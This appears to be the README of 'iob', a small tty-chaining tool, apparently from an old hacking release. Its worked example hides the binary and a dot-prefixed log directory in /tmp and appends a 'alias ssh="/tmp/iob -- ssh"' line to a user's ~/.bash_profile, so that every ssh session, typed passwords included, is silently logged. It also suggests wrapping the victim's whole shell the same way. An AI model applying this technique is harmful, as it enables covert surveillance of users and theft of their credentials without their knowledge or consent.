iob - i/o bridge
version 0.1
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simple, stupid tty chaining program


used for:	- quick logging of any program
		- specific non-root based logging
		- monitoring of users (i.e. log all shell i/o)


examples of use:

user@host$ cat iob.c | egrep "^#define.+DEFAULT_LOG"
#define DEFAULT_LOG     "/tmp/.log-term/"
user@host$ cp iob /tmp
user@host$ mkdir /tmp/.log-term
user@host$ echo $SHELL
/bin/bash
user@host$ echo 'alias ssh="/tmp/iob -- ssh"' >> ~/.bash_profile


now, if the user logs in, any ssh command he issues, except with hardcoded
pathnames will trap into our tty chain, logging everything to a date-stamped
file in the /tmp/.log-term/ directory. simple, stupid, working. do not forget
to use the "--" option end marker in the alias. else getopt() will fuckup
inside the iob program, if the user uses ssh options. if you want to log
everything, run a shell from within his profile with an iob around it. if you
have any problems compiling/using it somewhere, fix it yourself.

advice: this is easy to detect, two extra processes are spawned per i/o chain,
        it is far from being unobstrusive.


-sc.